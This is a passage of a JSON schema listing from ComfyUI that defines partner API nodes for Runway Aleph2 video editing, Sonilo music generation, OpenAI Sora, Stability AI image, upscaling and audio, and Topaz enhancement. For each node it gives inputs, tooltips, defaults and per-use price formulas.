be 2-30 seconds at 30 fps or lower."}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "public_figure_threshold": ["COMBO", {"tooltip": "Content moderation for recognizable public figures.", "default": "low", "multiselect": false, "options": ["auto", "low"]}]}, "optional": {"keyframes": ["RUNWAY_ALEPH2_KEYFRAME", {"tooltip": "Guidance images anchored to the input video, from Aleph2 Keyframe nodes (up to 5). Use keyframes or prompt images, not both."}], "prompt_images": ["RUNWAY_ALEPH2_PROMPT_IMAGE", {"tooltip": "Guidance images anchored to the output video, from Aleph2 Prompt Image nodes (up to 5). Use keyframes or prompt images, not both."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "video", "seed", "public_figure_threshold"], "optional": ["keyframes", "prompt_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2VideoToVideoNode", "display_name": "Runway Aleph2 Video to Video", "description": "Edit a video with a text prompt using Runway's Aleph2 model. Aleph2 transforms your footage (restyle, relight, add or remove elements, change the viewpoint) while keeping the original motion and timing; the output resolution matches the input video, which must be 2-30 seconds at 30 fps or lower. Optionally steer the edit with either keyframes (anchored to the input video) or prompt images (anchored to the output video) - use one or the other, not both.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.4004, \"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2KeyframeNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The guidance image to apply at the chosen moment of the input video."}], "timing": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the input video's timeline.", "options": [{"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from start of the input video where this image applies.", "default": 0.0, "min": 0.0, "max": 30.0, "step": 0.1, "display": "number"}]}}}, {"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the input video this image applies, as a fraction of its duration (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}]}]}, "optional": {"keyframes": ["RUNWAY_ALEPH2_KEYFRAME", {"tooltip": "Optional earlier keyframes to chain with this one."}]}}, "input_order": {"required": ["image", "timing"], "optional": ["keyframes"]}, "is_input_list": false, "output": ["RUNWAY_ALEPH2_KEYFRAME"], "output_is_list": [false], "output_name": ["keyframes"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2KeyframeNode", "display_name": "Runway Aleph2 Keyframe", "description": "Anchor a guidance image to a moment of the input (source) video, so Aleph2 steers the edit at that point of your footage. Connect this to the 'keyframes' input of the Runway Aleph2 Video to Video node; chain several together (up to 5) via the optional 'keyframes' input below.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2PromptImageNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The guidance image to place at the chosen moment of the output video."}], "position": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the output video's timeline.", "options": [{"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from start of the output video where this image applies.", "default": 0.0, "min": 0.0, "max": 30.0, "step": 0.1, "display": "number"}]}}}, {"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the output video this image applies, as a fraction of its duration (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}]}]}, "optional": {"prompt_images": ["RUNWAY_ALEPH2_PROMPT_IMAGE", {"tooltip": "Optional earlier prompt images to chain with this one."}]}}, "input_order": {"required": ["image", "position"], "optional": ["prompt_images"]}, "is_input_list": false, "output": ["RUNWAY_ALEPH2_PROMPT_IMAGE"], "output_is_list": [false], "output_name": ["prompt_images"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2PromptImageNode", "display_name": "Runway Aleph2 Prompt Image", "description": "Anchor a guidance image to a moment of the output (result) video, to guide what the edited video looks like at that point. Connect this to the 'prompt_images' input of the Runway Aleph2 Video to Video node; chain several together (up to 5) via the optional 'prompt_images' input below.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SoniloVideoToMusic": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Input video to generate music from. Maximum duration: 6 minutes."}], "prompt": ["STRING", {"tooltip": "Optional text prompt to guide music generation. Leave empty for best quality - the model will fully analyze the video content.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed for reproducibility. Currently ignored by the Sonilo service but kept for graph consistency.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "SoniloVideoToMusic", "display_name": "Sonilo Video to Music", "description": "Generate music from video content using Sonilo's AI model. Analyzes the video and creates matching music.", "python_module": "comfy_api_nodes.nodes_sonilo", "category": "partner/audio/Sonilo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.009,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SoniloTextToMusic": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the music to generate.", "default": "", "multiline": true}], "duration": ["INT", {"tooltip": "Target duration in seconds. Maximum: 6 minutes.", "default": 30, "min": 1, "max": 360}], "seed": ["INT", {"tooltip": "Seed for reproducibility. Currently ignored by the Sonilo service but kept for graph consistency.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "duration", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "SoniloTextToMusic", "display_name": "Sonilo Text to Music", "description": "Generate music from a text prompt using Sonilo's AI model.", "python_module": "comfy_api_nodes.nodes_sonilo", "category": "partner/audio/Sonilo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0025 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIVideoSora2": {"input": {"required": {"model": ["COMBO", {"default": "sora-2", "multiselect": false, "options": ["sora-2", "sora-2-pro"]}], "prompt": ["STRING", {"tooltip": "Guiding text; may be empty if an input image is present.", "default": "", "multiline": true}], "size": ["COMBO", {"default": "1280x720", "multiselect": false, "options": ["720x1280", "1280x720", "1024x1792", "1792x1024"]}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [4, 8, 12]}]}, "optional": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size", "duration"], "optional": ["image", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIVideoSora2", "display_name": "OpenAI Sora - Video (DEPRECATED)", "description": "OpenAI video and audio generation.\n\nDEPRECATION NOTICE: OpenAI will stop serving the Sora v2 API in September 2026. This node will be removed from ComfyUI at that time.", "python_module": "comfy_api_nodes.nodes_sora", "category": "partner/video/Sora", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "size", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $size := widgets.size;\n $dur := widgets.duration;\n $isPro := $contains($m, \"sora-2-pro\");\n $isSora2 := $contains($m, \"sora-2\");\n $isProSize := ($size = \"1024x1792\" or $size = \"1792x1024\");\n $perSec :=\n $isPro ? ($isProSize ? 0.5 : 0.3) :\n $isSora2 ? 0.1 :\n ($isProSize ? 0.5 : 0.1);\n {\"type\":\"usd\",\"usd\": $round($perSec * $dur, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityStableImageUltraNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defineselements, colors, and subjects will lead to better results. To control the weight of a given word use the format `(word:weight)`,where `word` is the word you'd like to control the weight of and `weight`is a value between 0 and 1. For example: `The sky was a crisp (blue:0.3) and (green:0.8)`would convey a sky that was blue and green, but more green than blue.", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of generated image.", "default": "1:1", "multiselect": false, "options": ["1:1", "16:9", "9:16", "3:2", "2:3", "5:4", "4:5", "21:9", "9:21"]}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {}], "negative_prompt": ["STRING", {"tooltip": "A blurb of text describing what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}], "image_denoise": ["FLOAT", {"tooltip": "Denoise of input image; 0.0 yields image identical to input, 1.0 is as if no image was provided at all.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "style_preset", "seed"], "optional": ["image", "negative_prompt", "image_denoise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityStableImageUltraNode", "display_name": "Stability AI Stable Image Ultra", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.08}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityStableImageSD_3_5Node": {"input": {"required": {"prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["sd3.5-large", "sd3.5-medium"]}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of generated image.", "default": "1:1", "multiselect": false, "options": ["1:1", "16:9", "9:16", "3:2", "2:3", "5:4", "4:5", "21:9", "9:21"]}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "cfg_scale": ["FLOAT", {"tooltip": "How strictly the diffusion process adheres to the prompt text (higher values keep your image closer to your prompt)", "default": 4.0, "min": 1.0, "max": 10.0, "step": 0.1}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {}], "negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}], "image_denoise": ["FLOAT", {"tooltip": "Denoise of input image; 0.0 yields image identical to input, 1.0 is as if no image was provided at all.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "style_preset", "cfg_scale", "seed"], "optional": ["image", "negative_prompt", "image_denoise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityStableImageSD_3_5Node", "display_name": "Stability AI Stable Diffusion 3.5 Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model,\"large\")\n ? {\"type\":\"usd\",\"usd\":0.065}\n : {\"type\":\"usd\",\"usd\":0.035}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleConservativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "creativity": ["FLOAT", {"tooltip": "Controls the likelihood of creating additional details not heavily conditioned by the init image.", "default": 0.35, "min": 0.2, "max": 0.5, "step": 0.01}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "creativity", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleConservativeNode", "display_name": "Stability AI Upscale Conservative", "description": "Upscale image with minimal alterations to 4K resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleCreativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "creativity": ["FLOAT", {"tooltip": "Controls the likelihood of creating additional details not heavily conditioned by the init image.", "default": 0.3, "min": 0.1, "max": 0.5, "step": 0.01}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "creativity", "style_preset", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleCreativeNode", "display_name": "Stability AI Upscale Creative", "description": "Upscale image with minimal alterations to 4K resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleFastNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleFastNode", "display_name": "Stability AI Upscale Fast", "description": "Quickly upscales an image via Stability API call to 4x its original size; intended for upscaling low-quality/compressed images.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.02}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityTextToAudio": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["duration", "seed", "steps"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityTextToAudio", "display_name": "Stability AI Text To Audio", "description": "Generates high-quality music and sound effects from text descriptions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": "Audio", "has_intermediate_output": false}, "StabilityAudioToAudio": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "audio": ["AUDIO", {"tooltip": "Audio must be between 6 and 190 seconds long."}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}], "strength": ["FLOAT", {"tooltip": "Parameter controls how much influence the audio parameter has on the generated audio.", "default": 1, "min": 0.01, "max": 1.0, "step": 0.01, "display": "slider"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "audio"], "optional": ["duration", "seed", "steps", "strength"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityAudioToAudio", "display_name": "Stability AI Audio To Audio", "description": "Transforms existing audio samples into new high-quality compositions using text instructions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityAudioInpaint": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "audio": ["AUDIO", {"tooltip": "Audio must be between 6 and 190 seconds long."}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}], "mask_start": ["INT", {"advanced": true, "default": 30, "min": 0, "max": 190, "step": 1}], "mask_end": ["INT", {"advanced": true, "default": 190, "min": 0, "max": 190, "step": 1}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "audio"], "optional": ["duration", "seed", "steps", "mask_start", "mask_end"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityAudioInpaint", "display_name": "Stability AI Audio Inpaint", "description": "Transforms part of existing audio sample using text instructions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TopazImageEnhance": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["Reimagine"]}], "image": ["IMAGE", {}]}, "optional": {"prompt": ["STRING", {"tooltip": "Optional text prompt for creative upscaling guidance.", "default": "", "multiline": true}], "subject_detection": ["COMBO", {"advanced": true, "multiselect": false, "options": ["All", "Foreground", "Background"]}], "face_enhancement": ["BOOLEAN", {"tooltip": "Enhance faces (if present) during processing.", "advanced": true, "default": true}], "face_enhancement_creativity": ["FLOAT", {"tooltip": "Set the creativity level for face enhancement.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}], "face_enhancement_strength": ["FLOAT", {"tooltip": "Controls how sharp enhanced faces are relative to the background.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}], "crop_to_fill": ["BOOLEAN", {"tooltip": "By default, the image is letterboxed when the output aspect ratio differs. Enable to crop the image to fill the output dimensions.", "advanced": true, "default": false}], "output_width": ["INT", {"tooltip": "Zero value means to calculate automatically (usually it will be original size or output_height if specified).", "advanced": true, "default": 0, "min": 0, "max": 32000, "step": 1, "display": "number"}], "output_height": ["INT", {"tooltip": "Zero value means to output in the same height as original or output width.", "advanced": true, "default": 0, "min": 0, "max": 32000, "step": 1, "display": "number"}], "creativity": ["INT", {"default": 3, "min": 1, "max": 9, "step": 1, "display": "slider"}], "face_preservation": ["BOOLEAN", {"tooltip": "Preserve subjects' facial identity.", "advanced": true, "default": true}], "color_preservation": ["BOOLEAN", {"tooltip": "Preserve the original colors.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image"], "optional": ["prompt", "subject_detection", "face_enhancement", "face_enhancement_creativity", "face_enhancement_strength", "crop_to_fill", "output_width", "output_height", "creativity", "face_preservation", "color_preservation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazImageEnhance", "display_name": "Topaz Image Enhance", "description": "Industry-standard upscaling and image enhancement.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/image/Topaz", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TopazVideoEnhance": {"input": {"required": {"video": ["VIDEO", {}], "upscaler_enabled": ["BOOLEAN", {"default": true}], "upscaler_model": ["COMBO", {"multiselect": false, "options": ["Starlight (Astra) Fast", "Starlight (Astra) Creative", "Starlight Precise 2.5"]}], "upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}, "optional": {"upscaler_creativity": ["COMBO", {"tooltip": "Creativity level (applies only to Starlight (Astra) Creative).", "advanced": true, "default": "low", "multiselect": false, "options": ["low", "middle", "high"]}], "interpolation_enabled": ["BOOLEAN", {"default": false}], "interpolation_model": ["COMBO", {"advanced": true, "default": "apo-8", "multiselect": false, "options": ["apo-8"]}], "interpolation_slowmo": ["INT", {"tooltip": "Slow-motion factor applied to the input video. For example, 2 makes the output twice as slow and doubles the duration.", "advanced": true, "default": 1, "min": 1, "max": 16, "display": "number"}], "interpolation_frame_rate": ["INT", 